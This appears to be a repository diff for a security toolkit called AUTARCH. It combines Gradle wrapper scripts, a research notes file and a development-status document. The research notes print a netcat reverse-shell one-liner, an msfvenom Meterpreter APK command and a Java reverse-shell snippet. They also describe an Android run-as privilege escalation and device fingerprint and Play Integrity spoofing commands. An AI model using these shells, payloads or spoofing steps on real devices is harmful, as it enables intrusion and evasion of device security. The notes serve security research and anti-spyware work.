MAX_FD=$( ulimit -H -n ) ||
warn "Could not query maximum file descriptor limit"
esac
case $MAX_FD in #(
'' | soft) :;; #(
*)
# In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked.
# shellcheck disable=SC2039,SC3045
ulimit -n "$MAX_FD" ||
warn "Could not set maximum file descriptor limit to $MAX_FD"
esac
fi
# Collect all arguments for the java command, stacking in reverse order:
# * args from the command line
# * the main class name
# * -classpath
# * -D...appname settings
# * --module-path (only if needed)
# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables.
# For Cygwin or MSYS, switch paths to Windows format before running java
if "$cygwin" || "$msys" ; then
APP_HOME=$( cygpath --path --mixed "$APP_HOME" )
JAVACMD=$( cygpath --unix "$JAVACMD" )
# Now convert the arguments - kludge to limit ourselves to /bin/sh
for arg do
if
case $arg in #(
-*) false ;; # don't mess with options #(
/?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath
[ -e "$t" ] ;; #(
*) false ;;
esac
then
arg=$( cygpath --path --ignore --mixed "$arg" )
fi
# Roll the args list around exactly as many times as the number of
# args, so each arg winds up back in the position where it started, but
# possibly modified.
#
# NB: a `for` loop captures its iteration list before it begins, so
# changing the positional parameters here affects neither the number of
# iterations, nor the values presented in `arg`.
shift # remove old arg
set -- "$@" "$arg" # push replacement arg
done
fi
# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"'
# Collect all arguments for the java command:
# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments,
# and any embedded shellness will be escaped.
# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be
# treated as '${Hostname}' itself on the command line.
set -- \
"-Dorg.gradle.appname=$APP_BASE_NAME" \
-jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \
"$@"
# Stop when "xargs" is not available.
if ! command -v xargs >/dev/null 2>&1
then
die "xargs is not available"
fi
# Use "xargs" to parse quoted args.
#
# With -n1 it outputs one arg per line, with the quotes and backslashes removed.
#
# In Bash we could simply go:
#
# readarray ARGS < <( xargs -n1 <<<"$var" ) &&
# set -- "${ARGS[@]}" "$@"
#
# but POSIX shell has neither arrays nor command substitution, so instead we
# post-process each arg (as a line of input to sed) to backslash-escape any
# character that might be a shell metacharacter, then use eval to reverse
# that process (while maintaining the separation between arguments), and wrap
# the whole thing up as a single "set" statement.
#
# This will of course break if any of these variables contains a newline or
# an unmatched quote.
#
eval "set -- $(
printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" |
xargs -n1 |
sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' |
tr '\n' ' '
)" '"$@"'
exec "$JAVACMD" "$@"

93
autarch_companion/gradlew.bat vendored Normal file
View File

@ -0,0 +1,93 @@
@rem
@rem Copyright 2015 the original author or authors.
@rem
@rem Licensed under the Apache License, Version 2.0 (the "License");
@rem you may not use this file except in compliance with the License.
@rem You may obtain a copy of the License at
@rem
@rem https://www.apache.org/licenses/LICENSE-2.0
@rem
@rem Unless required by applicable law or agreed to in writing, software
@rem distributed under the License is distributed on an "AS IS" BASIS,
@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
@rem See the License for the specific language governing permissions and
@rem limitations under the License.
@rem
@rem SPDX-License-Identifier: Apache-2.0
@rem
@if "%DEBUG%"=="" @echo off
@rem ##########################################################################
@rem
@rem Gradle startup script for Windows
@rem
@rem ##########################################################################
@rem Set local scope for the variables with windows NT shell
if "%OS%"=="Windows_NT" setlocal
set DIRNAME=%~dp0
if "%DIRNAME%"=="" set DIRNAME=.
@rem This is normally unused
set APP_BASE_NAME=%~n0
set APP_HOME=%DIRNAME%
@rem Resolve any "." and ".." in APP_HOME to make it shorter.
for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi
@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m"
@rem Find java.exe
if defined JAVA_HOME goto findJavaFromJavaHome
set JAVA_EXE=java.exe
%JAVA_EXE% -version >NUL 2>&1
if %ERRORLEVEL% equ 0 goto execute
echo. 1>&2
echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2
echo. 1>&2
echo Please set the JAVA_HOME variable in your environment to match the 1>&2
echo location of your Java installation. 1>&2
goto fail
:findJavaFromJavaHome
set JAVA_HOME=%JAVA_HOME:"=%
set JAVA_EXE=%JAVA_HOME%/bin/java.exe
if exist "%JAVA_EXE%" goto execute
echo. 1>&2
echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2
echo. 1>&2
echo Please set the JAVA_HOME variable in your environment to match the 1>&2
echo location of your Java installation. 1>&2
goto fail
:execute
@rem Setup the command line
@rem Execute Gradle
"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %*
:end
@rem End local scope for the variables with windows NT shell
if %ERRORLEVEL% equ 0 goto mainEnd
:fail
rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
rem the _cmd.exe /c_ return code!
set EXIT_CODE=%ERRORLEVEL%
if %EXIT_CODE% equ 0 set EXIT_CODE=1
if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE%
exit /b %EXIT_CODE%
:mainEnd
if "%OS%"=="Windows_NT" endlocal
:omega

View File

@ -0,0 +1,293 @@
# Archon Research — Consolidated Findings
## darkHal Security Group — Project AUTARCH
**Last Updated:** 2026-02-20
---
## 1. On-Device LLM Engines
### SmolChat-Android (Recommended)
- **Source:** https://github.com/shubham0204/SmolChat-Android
- **License:** Apache 2.0
- **Stack:** Kotlin + llama.cpp JNI bindings
- **Key feature:** `smollm` module is an embeddable Android library — 2-class Kotlin API
- **Model format:** GGUF (huge ecosystem on HuggingFace)
- **Performance:** Auto-detects CPU SIMD, has ARMv8.4 SVE optimized builds
- **Integration:** Streaming via Kotlin Flow, context tracking, chat templates from GGUF metadata
- **What it doesn't have:** No tool-calling — we add that via Koog (below)
- **Recommended models:** Qwen3-0.6B-Q4_K_M (tiny, fast) or SmolLM3-3B-Q4 (better quality)
- **Status:** Best choice for inference engine. Embed `smollm` module into Archon.
### mllm
- **Source:** https://github.com/UbiquitousLearning/mllm
- **License:** MIT
- **Stack:** C++20 custom engine
- **Key feature:** Multimodal (vision + text — Qwen2-VL, DeepSeek-OCR), Qualcomm QNN NPU acceleration
- **Model format:** Custom `.mllm` (must convert from HuggingFace, NOT GGUF)
- **Drawback:** Much harder to integrate, custom format limits model selection
- **Status:** Consider for future multimodal features (OCR scanning, photo analysis). Not for initial integration.
---
## 2. AI Agent Frameworks
### Koog AI (Recommended for Archon)
- **Source:** https://docs.koog.ai/
- **License:** Apache 2.0 (JetBrains)
- **Stack:** Pure Kotlin, Kotlin Multiplatform — officially supports Android
- **Key features:**
- 9 LLM providers including Ollama (local) and cloud (OpenAI, Anthropic)
- First-class tool-calling with class-based tools (works on Android)
- Agent memory, persistence, checkpoints, history compression
- Structured output via kotlinx.serialization
- GOAP planner (A* search for action planning — game AI technique)
- MCP integration (discover/use external tools)
- Multi-agent: agents-as-tools, agent-to-agent protocol
- **Version:** 0.6.2
- **Integration:** `implementation("ai.koog:koog-agents:0.6.2")` — single Gradle dependency
- **Why it's the answer:** Native Kotlin, class-based tools on Android, GOAP planner maps perfectly to security workflows (Goal: "Protect device" → Actions: scan → identify → restrict → revoke)
- **Status:** Best choice for agent layer. Combine with SmolChat for fully offline operation.
### SmolChat + Koog Combo
- SmolChat provides the on-device inference engine (GGUF/llama.cpp)
- Koog provides the agent framework (tools, planning, memory, structured output)
- Together: fully autonomous, fully offline security AI agent on the phone
- Implementation: define security tools as Koog class-based tools, wrap PrivilegeManager.execute() as execution backend
### GitHub Copilot SDK
- **Source:** https://github.com/github/copilot-sdk
- **License:** MIT (SDK), proprietary (CLI binary ~61MB)
- **Stack:** Python/TypeScript/Go/.NET SDKs
- **Key features:** BYOK mode (Ollama local), MCP integration, linux-arm64 binary exists
- **Drawback:** CLI binary is closed-source proprietary. We already have our own LLM backends + MCP server. Adds another orchestration layer on top of what we built.
- **Status:** Not needed. Our own agent system (core/agent.py + core/tools.py) is better tailored.
---
## 3. ADB Exploitation & Automation
### PhoneSploit-Pro
- **Source:** https://github.com/AzeezIsh/PhoneSploit-Pro
- **License:** GPL-3.0
- **What:** Python ADB automation framework (40+ exploits/actions)
- **Capabilities:** Screen capture, app management, file transfer, keylogging, device info dumping, network analysis, shell access, APK extraction, location spoofing
- **Relevance:** Reference for ADB command patterns. Many of its techniques are already in our ShieldModule and HoneypotModule.
- **Status:** Reference material. We implement our own versions with better safety controls.
---
## 4. Android Reverse Shell Techniques
### Technique 1: Java ProcessBuilder + Socket (Our Approach)
```java
// Connect back to server, pipe shell I/O over socket
Socket socket = new Socket(serverIp, serverPort);
ProcessBuilder pb = new ProcessBuilder("sh");
Process process = pb.start();
// Forward process stdin/stdout over socket
```
- **Privilege:** Runs at whatever UID the process has
- **Our twist:** Run via `app_process` at UID 2000 (shell level)
- **Advantage:** No external tools needed, pure Java, clean control flow
### Technique 2: Netcat + FIFO
```bash
mkfifo /data/local/tmp/f
cat /data/local/tmp/f | sh -i 2>&1 | nc $SERVER_IP $PORT > /data/local/tmp/f
```
- **Requires:** `nc` (netcat) available on device
- **Advantage:** Simple, works from any shell
- **Disadvantage:** No auth, no encryption, no special commands
### Technique 3: msfvenom Payloads
```bash
msfvenom -p android/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=4444 -o payload.apk
```
- **Generates:** Standalone APK with Meterpreter payload
- **Meterpreter types:** reverse_tcp, reverse_http, reverse_https
- **Disadvantage:** Detected by AV, requires separate app install, no shell-level access, external Metasploit dependency
- **Our approach is superior:** Already embedded in Archon, shell-level UID 2000, token auth, command safety blocklist
---
## 5. Android Privilege Escalation
### CVE-2024-0044 / CVE-2024-31317: Run-As Any UID (Android 12-14)
- **Disclosed by:** Meta security researchers
- **Severity:** Critical — full root access on unpatched devices
- **Affected:** Android 12, 13, 14 (patched in 14 QPR2 and Android 15)
- **Mechanism:** The `run-as` command trusts package data from `/data/system/packages.list`. At shell level (UID 2000), we can exploit a TOCTOU race to make `run-as` switch to ANY UID, including UID 0 (root) or UID 1000 (system).
- **Steps:**
1. Shell can write to `/data/local/tmp/`
2. Exploit the TOCTOU race in how `run-as` reads package info
3. `run-as` runs as UID 2000 but switches context to target UID
- **Archon action:** Detection module that checks if device is vulnerable. If so, can use for legitimate protection (installing protective system-level hooks that persist until reboot).
### Shell-Level Capabilities (UID 2000)
Full command access without root:
- `pm` — install, uninstall, disable, grant/revoke permissions
- `am` — start activities, broadcast, force-stop processes
- `settings` — read/write system, secure, global settings
- `dumpsys` — dump any system service state
- `cmd` — direct commands to system services (appops, jobscheduler, connectivity)
- `content` — query/modify content providers (contacts, SMS, call log)
- `service call` — raw Binder IPC (clipboard, etc.)
- `input` — inject touch/key events (UI automation)
- `screencap`/`screenrecord` — capture display
- `svc` — control wifi, data, power, USB, NFC
- `dpm` — device policy manager (remove device admins)
- `logcat` — system logs
- `run-as` — switch to debuggable app context
### What Shell CANNOT Do (Root Required)
- Write to /system, /vendor, /product
- `setenforce 0` (set SELinux permissive)
- Access other apps' /data/data/ directly
- Load/unload kernel modules
- iptables/nftables (CAP_NET_ADMIN)
- Mount/unmount filesystems
---
## 6. Anti-Forensics (Anti-Cellebrite)
Cellebrite UFED and similar forensic tools attack vectors:
- ADB exploitation (need ADB enabled or USB exploit)
- Bootloader-level extraction
- Known CVE exploitation chains
- Content provider dumping
### Shell-Level Defenses
```bash
# USB Lockdown
svc usb setFunctions charging
settings put global adb_enabled 0
# Detect Cellebrite (known USB vendor IDs, rapid content query storms)
# Monitor USB events: /proc/bus/usb/devices
# Emergency data protection on forensic detection:
# - Revoke all app permissions
# - Clear clipboard (service call clipboard)
# - Force-stop sensitive apps
# - Disable USB debugging
# - Change lock to maximum security
```
### Architecture for Archon
- Background monitoring thread: USB events + logcat
- Forensic tool USB vendor ID database
- Configurable responses: lockdown / alert / wipe sensitive / plant decoys
- "Duress PIN" concept: specific PIN triggers data protection
---
## 7. Anti-Spyware (Anti-Pegasus)
NSO Group's Pegasus and similar state-level spyware use:
- Zero-click exploits via iMessage, WhatsApp, SMS
- Kernel exploits for persistence
- Memory-only implants (no files on disk)
### Shell-Level Monitoring
```bash
# Suspicious process detection
dumpsys activity processes | grep -i "pegasus\|chrysaor"
# Hidden processes (deleted exe links = classic implant pattern)
cat /proc/*/maps 2>/dev/null | grep -E "rwxp.*deleted"
# Exploit indicators in logs
logcat -d | grep -iE "exploit|overflow|heap|spray|jit"
# Unauthorized root checks
ls -la /system/xbin/su /system/bin/su /sbin/su 2>/dev/null
cat /sys/fs/selinux/enforce # 1=enforcing, 0=permissive
# Certificate injection (MITM)
ls /data/misc/user/0/cacerts-added/ 2>/dev/null
# Known spyware package patterns
pm list packages | grep -iE "com\.network\.|com\.service\.|bridge|carrier"
```
### Archon Shield Integration
- Periodic background scans (configurable interval)
- Known C2 IP/domain database (updated from AUTARCH server)
- Process anomaly detection (unexpected UIDs, deleted exe links)
- Network connection monitoring against threat intel
---
## 8. Device Fingerprint Manipulation
### Play Integrity Levels
1. **MEETS_BASIC_INTEGRITY** — Can be satisfied with prop spoofing
2. **MEETS_DEVICE_INTEGRITY** — Requires matching CTS profile
3. **MEETS_STRONG_INTEGRITY** — Hardware attestation (impossible to fake at shell level)
### Shell-Level Spoofing
```bash
# Android ID rotation
settings put secure android_id $(cat /dev/urandom | tr -dc 'a-f0-9' | head -c 16)
# Build fingerprint spoofing
setprop ro.build.fingerprint "google/raven/raven:14/UP1A.231005.007:user/release-keys"
setprop ro.product.model "Pixel 6 Pro"
# "Old device" trick (bypass hardware attestation requirement)
setprop ro.product.first_api_level 28 # Pretend shipped with Android 9
```
### Donor Key Approach
- Valid attestation certificate chains from donor devices could theoretically be replayed
- Keys are burned into TEE/SE at factory
- Google revokes leaked keys quickly
- Legally/ethically complex — research only
---
## 9. Samsung S20/S21 Specifics (TODO)
### JTAG/Debug Access
- JTAG pinpoints and schematics for S20/S21 hardware debugging
- Bootloader weakness analysis (Samsung Knox, secure boot chain)
- Secureboot partition dumping techniques
### Hardening Guide
- Samsung-specific security settings and Knox configuration
- Tool section for Samsung devices
**Status:** Research needed — not yet documented.
---
## 10. Future: LLM Suite Architecture
### Recommended Stack
```
┌──────────────────────────────────────┐
│ Koog AI Agent Layer │
│ (tools, GOAP planner, memory) │
├──────────────────────────────────────┤
│ SmolChat smollm Module │
│ (GGUF inference, llama.cpp JNI) │
├──────────────────────────────────────┤
│ Security Tools (Kotlin) │
│ (ScanPackagesTool, │
│ RestrictTrackerTool, etc.) │
├──────────────────────────────────────┤
│ PrivilegeManager │
│ (ROOT/ARCHON_SERVER/ADB/NONE) │
└──────────────────────────────────────┘
```
### Integration Steps
1. Add `smollm` as module dependency (embeds llama.cpp JNI)
2. Add `koog-agents` Gradle dependency
3. Define security tools as Koog class-based tools
4. Create "Security Guardian" agent with GOAP planner
5. Can run fully offline (on-device GGUF) or via Ollama on AUTARCH server
6. Agent autonomously monitors and responds to threats
**Status:** Future phase — implement after reverse shell is complete.

View File

@ -0,0 +1,18 @@
pluginManagement {
repositories {
google()
mavenCentral()
gradlePluginPortal()
}
}
dependencyResolutionManagement {
repositoriesMode.set(RepositoriesMode.FAIL_ON_PROJECT_REPOS)
repositories {
google()
mavenCentral()
maven { url = uri("https://jitpack.io") }
}
}
rootProject.name = "Archon"
include(":app")

526
autarch_dev.md Normal file
View File

@ -0,0 +1,526 @@
# AUTARCH Development Status
## darkHal Security Group - Project AUTARCH
**Last Updated:** 2026-02-28
---
## Project Overview
AUTARCH is a full-stack security platform built in Python. It combines a CLI framework with a Flask web dashboard, LLM integration (llama.cpp, HuggingFace transformers, Claude API), Metasploit/RouterSploit RPC integration, an OSINT database with 7,200+ sites, and physical hardware device management.
**Codebase:** ~40,000 lines of Python across 65 source files + 3,237 lines JS/CSS
**Location:** `/home/snake/autarch/`
**Platform:** Linux (Orange Pi 5 Plus, RK3588 ARM64)
---
## Current Architecture
```
autarch/
├── autarch.py # Main entry point (613 lines) - CLI + --web flag
├── autarch_settings.conf # INI config (11 sections)
├── core/ # 25 Python modules (~12,500 lines)
│ ├── agent.py # Autonomous agent loop (THOUGHT/ACTION/PARAMS)
│ ├── banner.py # ASCII banner
│ ├── config.py # Config handler with typed getters
│ ├── cve.py # NVD API v2.0 + SQLite CVE database
│ ├── android_protect.py # Anti-stalkerware/spyware shield
│ ├── hardware.py # ADB/Fastboot/Serial/ESP32 manager
│ ├── llm.py # LLM wrapper (llama.cpp + transformers + Claude + HuggingFace)
│ ├── menu.py # Category menu system (8 categories)
│ ├── msf.py # Metasploit RPC client (msgpack)
│ ├── msf_interface.py # Centralized MSF interface
│ ├── msf_modules.py # MSF module library (45 modules)
│ ├── msf_terms.py # MSF settings term bank (54 settings)
│ ├── pentest_pipeline.py # PentestGPT 3-module pipeline
│ ├── pentest_session.py # Pentest session persistence
│ ├── pentest_tree.py # Penetration Testing Tree (MITRE ATT&CK)
│ ├── report_generator.py # HTML report generator
│ ├── rsf.py # RouterSploit integration
│ ├── rsf_interface.py # Centralized RSF interface
│ ├── rsf_modules.py # RSF module library
│ ├── rsf_terms.py # RSF settings term bank
│ ├── sites_db.py # OSINT sites SQLite DB (7,287 sites)
│ ├── tools.py # Tool registry (12+ tools + MSF tools)
│ ├── upnp.py # UPnP port forwarding manager
│ ├── wireshark.py # tshark/pyshark wrapper
│ ├── wireguard.py # WireGuard VPN + Remote ADB manager
│ ├── discovery.py # Network discovery (mDNS + Bluetooth advertising)
│ └── mcp_server.py # MCP server (expose AUTARCH tools to AI clients)
├── modules/ # 26 modules (~11,000 lines)
│ ├── adultscan.py # Adult site username scanner (osint)
│ ├── android_protect.py # Android protection shield CLI (defense)
│ ├── agent.py # Agent task interface (core)
│ ├── agent_hal.py # Agent Hal v2.0 - AI automation (core)
│ ├── analyze.py # File forensics (analyze)
│ ├── chat.py # LLM chat interface (core)
│ ├── counter.py # Threat detection (counter)
│ ├── defender.py # System hardening + scan monitor (defense)
│ ├── dossier.py # OSINT investigation manager (osint)
│ ├── geoip.py # GEO IP lookup (osint)
│ ├── hardware_local.py # Local hardware access CLI (hardware)
│ ├── hardware_remote.py # Remote hardware stub (hardware)
│ ├── msf.py # MSF interface v2.0 (offense)
│ ├── mysystem.py # System audit + CVE detection (defense)
│ ├── nettest.py # Network testing (utility)
│ ├── recon.py # OSINT recon + nmap scanner (osint)
│ ├── rsf.py # RouterSploit interface (offense)
│ ├── setup.py # First-run setup wizard
│ ├── simulate.py # Attack simulation (simulate)
│ ├── snoop_decoder.py # Snoop database decoder (osint)
│ ├── upnp_manager.py # UPnP port management (defense)
│ ├── wireshark.py # Packet capture/analysis (analyze)
│ ├── wireguard_manager.py # WireGuard VPN manager CLI (defense)
│ ├── workflow.py # Workflow automation
│ └── yandex_osint.py # Yandex OSINT (osint)
├── web/ # Flask web dashboard
│ ├── app.py # App factory (16 blueprints)
│ ├── auth.py # Session auth (bcrypt)
│ ├── routes/ # 15 route files (~4,500 lines)
│ │ ├── analyze.py, android_protect.py, auth_routes.py, counter.py
│ │ ├── chat.py, dashboard.py, defense.py, hardware.py, msf.py, offense.py
│ │ ├── osint.py, settings.py, simulate.py, upnp.py, wireshark.py
│ │ └── wireguard.py
│ ├── templates/ # 18 Jinja2 templates
│ │ ├── base.html (dark theme, sidebar nav, HAL chat panel, debug popup)
│ │ ├── android_protect.html, dashboard.html, login.html
│ │ ├── hardware.html, wireshark.html, wireguard.html, defense.html, offense.html
│ │ ├── counter.html, analyze.html, osint.html, simulate.html
│ │ ├── msf.html (MSF RPC terminal console)
│ │ ├── settings.html, llm_settings.html, upnp.html, category.html
│ └── static/
│ ├── css/style.css # Dark theme
│ ├── js/app.js # Vanilla JS (HAL chat + debug console + hardware)
│ ├── js/hardware-direct.js # WebUSB/Web Serial direct-mode API (752 lines)
│ └── js/lib/
│ ├── adb-bundle.js # ya-webadb bundled (57KB)
│ ├── fastboot-bundle.js # fastboot.js bundled (146KB)
│ └── esptool-bundle.js # esptool-js bundled (176KB)
├── autarch_companion/ # Archon Android app (29 files, Kotlin)
│ ├── app/src/main/kotlin/com/darkhal/archon/ # Kotlin source (8 files)
│ ├── app/src/main/res/ # Layouts, themes, icons (12 XML files)
│ └── app/src/main/assets/bbs/ # BBS terminal WebView (3 files)
├── data/ # Persistent data
│ ├── android_protect/ # Per-device scan reports and configs
│ ├── wireguard/ # WireGuard client configs and state
│ ├── cve/cve.db # CVE SQLite database
│ ├── hardware/ # Hardware operation data
│ ├── pentest_sessions/ # Pentest session JSON files
│ ├── sites/sites.db # OSINT sites database
│ ├── stalkerware_signatures.json # Stalkerware/spyware signature DB (275+ packages)
│ └── uploads/ # Web file uploads
├── .config/ # Hardware config templates
│ ├── nvidia_4070_mobile.conf
│ ├── amd_rx6700xt.conf
│ ├── orangepi5plus_cpu.conf
│ ├── orangepi5plus_mali.conf
│ └── custom/ # User-saved configs
├── dossiers/ # OSINT dossier JSON files
└── results/ # Reports and scan results
```
---
## Categories & Menu System
| # | Category | Modules | Description |
|---|----------|---------|-------------|
| 1 | Defense | defender, mysystem, upnp_manager, scan monitor, android_protect, wireguard_manager | System audit, CVE detection, UPnP, scan monitoring, Android anti-stalkerware, WireGuard VPN |
| 2 | Offense | msf, rsf, agent_hal (pentest pipeline) | MSF/RSF automation, AI-guided pentesting |
| 3 | Counter | counter | Threat detection, rootkit checks, anomaly detection |
| 4 | Analyze | analyze, wireshark | File forensics, packet capture/analysis |
| 5 | OSINT | recon, adultscan, dossier, geoip, yandex, snoop | Username scan (7K+ sites), nmap, dossier management |
| 6 | Simulate | simulate | Port scan, password audit, payload generation |
| 7 | Hardware | hardware_local, hardware_remote | ADB/Fastboot/Serial/ESP32 device management |
| 99 | Settings | setup | LLM, MSF, OSINT, UPnP, web, pentest config |
---
## Technology Stack
- **Language:** Python 3.10
- **Web:** Flask, Jinja2, vanilla JS, SSE (Server-Sent Events)
- **LLM Backends:** llama-cpp-python (GGUF), HuggingFace transformers (SafeTensors), Anthropic Claude API, HuggingFace Inference API
- **MCP:** Model Context Protocol server (11 tools, stdio + SSE transports)
- **Databases:** SQLite (CVEs, OSINT sites), JSON (sessions, dossiers, configs, stalkerware signatures)
- **Integrations:** Metasploit RPC (msgpack), RouterSploit, NVD API v2.0, social-analyzer
- **Hardware:** ADB/Fastboot (Android SDK), pyserial + esptool (ESP32), tshark/pyshark
- **Network:** miniupnpc (UPnP), nmap, tcpdump, WireGuard (wg/wg-quick), USB/IP
---
## Evolution Plan (from master_plan.md)
| Phase | Description | Status |
|-------|-------------|--------|
| Phase 0 | Backup & new working directory (`~/autarch`) | DONE |
| Phase 1 | UPnP Manager integration | DONE |
| Phase 2 | Flask web dashboard (12 blueprints, 14 templates) | DONE |
| Phase 3 | OSINT search engine (web UI) | DONE |
| Phase 4 | Wireshark module (tshark + pyshark) | DONE |
| Phase 4.5 | Hardware module (ADB/Fastboot/ESP32) | DONE |
| Phase 4.6 | Android Protection Shield (anti-stalkerware/spyware) | DONE |
| Phase 4.7 | Tracking Honeypot (fake data for ad trackers) | DONE |
| Phase 4.8 | WireGuard VPN + Remote ADB (TCP/IP & USB/IP) | DONE |
| Phase 4.9 | Archon Android Companion App | DONE |
| Phase 4.10 | HuggingFace Inference + MCP Server + Service Mode | DONE |
| Phase 4.12 | MSF Web Module Execution + Agent Hal + Global AI Chat | DONE |
| Phase 4.13 | Debug Console (floating log panel, 5 filter modes) | DONE |
| Phase 4.14 | WebUSB "Already In Use" fix (USB interface release on disconnect) | DONE |
| Phase 4.15 | LLM Settings sub-page (4 backends, full params, folder model scanner) | DONE |
| Phase 5 | Path portability & Windows support | MOSTLY DONE |
| Phase 6 | Docker packaging | NOT STARTED |
| Phase 7 | System Tray + Beta Release (EXE + MSI) | TODO |
### Additions Beyond Original Plan
- **RSF (RouterSploit)** integration (core/rsf*.py, modules/rsf.py)
- **Workflow module** (modules/workflow.py)
- **Nmap scanner** integrated into OSINT recon
- **Scan monitor** integrated into defense module
- **Android Protection Shield** — anti-stalkerware/spyware detection and remediation
- **MCP Server** — expose 11 AUTARCH tools via Model Context Protocol
- **HuggingFace Inference API** — remote model inference backend
- **Systemd Service** — run web dashboard as background service
- **Sideload** — push Archon APK to Android devices via ADB
---
## What Was Recently Added (Phase 4.124.15)
### MSF Web Module Execution + Agent Hal (Phase 4.12)
- `web/routes/offense.py``POST /offense/module/run` SSE stream + `POST /offense/module/stop`
- `web/templates/offense.html` — Run Module tabs (SSH/PortScan/OSDetect/Custom) + Agent Hal panel
- `web/routes/msf.py` (NEW) — MSF RPC console blueprint at `/msf/`
- `web/templates/msf.html` (NEW) — dark terminal MSF console UI
- `web/routes/chat.py` (NEW) — `/api/chat` SSE, `/api/agent/run|stream|stop`
- `web/templates/base.html` — global HAL chat panel (fixed bottom-right) + MSF Console nav link
- `web/static/js/app.js``halToggle/Send/Append/Scroll/Clear()` functions
- `web/app.py` — registered msf_bp + chat_bp
- `core/agent.py` — added `step_callback` param to `Agent.run()` for SSE step streaming
### Debug Console (Phase 4.13)
- `web/routes/settings.py``_DebugBufferHandler`, `_ensure_debug_handler()`, 4 debug API routes
- `web/templates/settings.html` — Debug Console section with enable toggle + test buttons
- `web/templates/base.html` — draggable floating debug popup, DBG toggle button
- `web/static/js/app.js` — full debug JS: stream, filter (5 modes), format, drag
- 5 filter modes: Warnings & Errors | Full Verbose | Full Debug + Symbols | Output Only | Show Everything
### WebUSB "Already In Use" Fix (Phase 4.14)
- `web/static/js/hardware-direct.js``adbDisconnect()` releases USB interface; `adbConnect()` detects Windows "already in use", auto-retries, shows actionable "run adb kill-server" message
### LLM Settings Sub-Page (Phase 4.15)
- `core/config.py` — added `get_openai_settings()` (api_key, base_url, model, max_tokens, temperature, top_p, frequency_penalty, presence_penalty)
- `web/routes/settings.py``GET /settings/llm` (sub-page), `POST /settings/llm/scan-models` (folder scanner), updated `POST /settings/llm` for openai backend
- `web/templates/settings.html` — LLM section replaced with sub-menu card linking to `/settings/llm`
- `web/templates/llm_settings.html` (NEW) — 4-tab dedicated LLM config page:
- **Local**: folder browser → model file list (.gguf/.safetensors) + full llama.cpp AND transformers params
- **Claude**: API key + model dropdown + basic params
- **OpenAI**: API key + base_url + model + basic params
- **HuggingFace**: token login + verify + model ID + 8 provider options + full generation params
---
## What Was Recently Added (Phase 4.10)
### HuggingFace Inference API Backend
- `core/llm.py``HuggingFaceLLM` class using `huggingface_hub.InferenceClient`
- Supports `text_generation()` and `chat_completion()` with streaming
- Config section: `[huggingface]` (api_key, model, endpoint, max_tokens, temperature, top_p)
- `config.py` — added `get_huggingface_settings()` method
### MCP Server (Model Context Protocol)
- `core/mcp_server.py` — FastMCP server exposing 11 AUTARCH tools
- **Tools:** nmap_scan, geoip_lookup, dns_lookup, whois_lookup, packet_capture, wireguard_status, upnp_status, system_info, llm_chat, android_devices, config_get
- **Transports:** stdio (for Claude Desktop/Code), SSE (for web clients)
- **CLI:** `python autarch.py --mcp [stdio|sse]` with `--mcp-port`
- **Web:** 4 API endpoints under `/settings/mcp/` (status, start, stop, config)
- **Menu:** option [10] MCP Server with start/stop SSE, show config, run stdio
- Config snippet generator for Claude Desktop / Claude Code integration
### Systemd Service + Sideload
- `scripts/autarch-web.service` — systemd unit file for web dashboard
- `autarch.py --service [install|start|stop|restart|status|enable|disable]`
- Menu [8] Web Service — full service management UI
- Menu [9] Sideload App — push Archon APK to Android device via ADB
### Web UI LLM Settings
- Settings page now shows all 4 backends with save+activate forms
- Each backend has its own form with relevant settings
- `/settings/llm` POST route switches backend and saves settings
---
## What Was Recently Added (Phase 4.9)
### Archon — Android Companion App
- **Location:** `autarch_companion/` (29 files)
- **Package:** `com.darkhal.archon` — Kotlin, Material Design 3, Single Activity + Bottom Nav
- **Name origin:** Greek ἄρχων (archon = ruler), etymological root of "autarch"
- **4 Tabs:**
- **Dashboard** — ADB TCP/IP toggle, USB/IP export toggle, kill/restart ADB with 5s auto-restart watchdog, WireGuard tunnel status
- **Links** — Grid of 9 cards linking to AUTARCH web UI sections (Dashboard, WireGuard, Shield, Hardware, Wireshark, OSINT, Defense, Offense, Settings)
- **BBS** — Terminal-style WebView for Autarch BBS via Veilid protocol (placeholder — veilid-wasm integration pending VPS deployment)
- **Settings** — Server IP, web/ADB/USB-IP ports, auto-restart toggle, BBS address, connection test
- **Key files:**
- `service/AdbManager.kt` — ADB TCP/IP enable/disable, kill/restart, status check via root shell
- `service/UsbIpManager.kt` — usbipd start/stop, device listing, bind/unbind
- `util/ShellExecutor.kt` — Shell/root command execution with timeout
- `util/PrefsManager.kt` — SharedPreferences wrapper for all config
- `assets/bbs/` — BBS terminal HTML/CSS/JS with command system and Veilid bridge placeholder
- **Theme:** Dark hacker aesthetic — terminal green (#00FF41) on black (#0D0D0D), monospace fonts
- **Build:** Gradle 8.5, AGP 8.2.2, Kotlin 1.9.22, minSdk 26, targetSdk 34
- **Network Discovery:**
- Server: `core/discovery.py` — DiscoveryManager singleton, mDNS (`_autarch._tcp.local.`) + Bluetooth (name="AUTARCH", requires security)
- App: `service/DiscoveryManager.kt` — NSD (mDNS) + Wi-Fi Direct + Bluetooth scanning, auto-configures server IP/port
